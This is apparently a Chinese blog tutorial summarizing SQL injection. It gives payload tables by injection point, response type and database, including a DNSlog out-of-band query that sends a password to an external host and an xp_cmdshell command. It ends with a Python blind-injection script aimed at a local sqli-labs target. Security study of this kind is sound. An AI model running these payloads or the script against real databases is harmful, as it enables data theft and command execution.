SQL注入总结

按照注入位置分类

类型 触发点 示例
GET 参数注入 URL 中 ?id=1?username=admin http://site.com?id=1' AND SLEEP(5)--+
POST 参数注入 表单提交、JSON 请求体 username=admin'--&password=123
Cookie 注入 Cookie: user_id=1 修改为 user_id=1' OR '1'='1
Header 注入 User-Agent, Referer, X-Forwarded-For User-Agent: ' UNION SELECT @@version,2--
基于报错注入(Error-based) 强制触发数据库报错,从错误信息中提取数据 ?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a,(SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

按照回显方式分类

类型 特点 利用条件 常见技巧
联合查询注入(UNION-based) 页面返回查询结果(如列表、详情) ✅ 需知道字段数 ✅ 需字段类型兼容(如都为字符串) ORDER BY 3-- 猜列数 → UNION SELECT 1,2,database()--
布尔盲注(Boolean-based) 页面仅显示"正常"或"错误"两种状态(无数据回显) ✅ 存在逻辑差异(如 and 1=1 正常 / and 1=2 报错) id=1' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
时间盲注(Time-based) 页面响应时间有明显差异(如延时 5 秒) ✅ 支持 SLEEP() / BENCHMARK() 等延时函数 id=1' AND IF(1=1,SLEEP(5),0)--
DNS 外带注入(Out-of-band / DNSlog) 无法回显且无法延时?利用 DNS 请求外带数据 ✅ MySQL ≥ 5.55 + LOAD_FILESELECT ... INTO OUTFILE ✅ MSSQL 支持 xp_dirtree SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.xxx.dnslog.cn\\abc'))

按照数据库类型分类

数据库 关键特性 典型 Payload 片段 注意事项
MySQL 支持 UNION@@versionSLEEP()LOAD_FILE() UNION SELECT 1,database(),user()-- AND SLEEP(3) MySQL 8.0+ 默认禁用 LOAD_FILE;注意 sql_mode 影响报错注入
PostgreSQL @@version,用 version();支持 pg_sleep() UNION SELECT 1,version(),current_user()-- AND (SELECT pg_sleep(3)) 字符串连接用 `
Microsoft SQL Server 支持 xp_cmdshellOPENROWSETWAITFOR DELAY ; EXEC xp_cmdshell 'whoami'-- WAITFOR DELAY '0:0:5' 需高权限;默认关闭 xp_cmdshell
Oracle 没有 LIMIT,用 ROWNUM;表必须来自 dual UNION SELECT 1,2,3 FROM dual WHERE ROWNUM=1-- 所有查询必须含 FROM;注意 PL/SQL 语法

盲注演示

首先盲注判断

?id=1' and sleep(2)--+

发现页面存在注点,使用时间盲注脚本进行注入

python 复制代码
import requests
 
 
def inject_database(url):
    name = ''
    for i in range(1, 20):  # 假设数据库名称长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            # 判断注入是否成功,依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            name += chr(middle)
 
        # 每次获取一个字符后打印当前的数据库名
        print(f"Current database name: {name}")
 
        # 重置 low 和 high 的值
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final database name: {name}")
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"
    inject_database(url)
相关推荐
洛水水2 小时前
数据库连接池详解
数据库·c++·mysql
小江的记录本2 小时前
【Java基础】集合框架: ArrayList vs LinkedList 核心区别、扩容机制(附《思维导图》+《面试高频考点清单》)
java·数据库·python·mysql·spring·面试·maven
清水白石0082 小时前
从“点一下导出”到生产级任务队列:Python 异步导出系统设计全景解析
java·数据库·python
快乐的哈士奇2 小时前
历史对话关联 RAG 上下文检索 — 内部技术介绍
服务器·数据库·oracle
半夜修仙2 小时前
Redis中List数据类型的常见命令
数据库·redis·缓存
wujt88882 小时前
mysql 比较数据库
数据库·mysql·oracle
tongluowan0072 小时前
怎么保证缓存和数据库的一致性
java·数据库·缓存·一致性
恣艺2 小时前
用Go从零实现一个高性能KV存储引擎:B+Tree索引、WAL持久化、LRU缓存的工程实践
开发语言·数据库·redis·缓存·golang
TDengine (老段)2 小时前
TDengine 支持数据类型深度解析 — 类型体系、存储编码与选型指南
java·大数据·数据库·系统架构·时序数据库·tdengine·涛思数据
weelinking11 小时前
【产品】00_产品经理用Claude实现产品系列介绍
数据库·人工智能·sql·数据挖掘·github·产品经理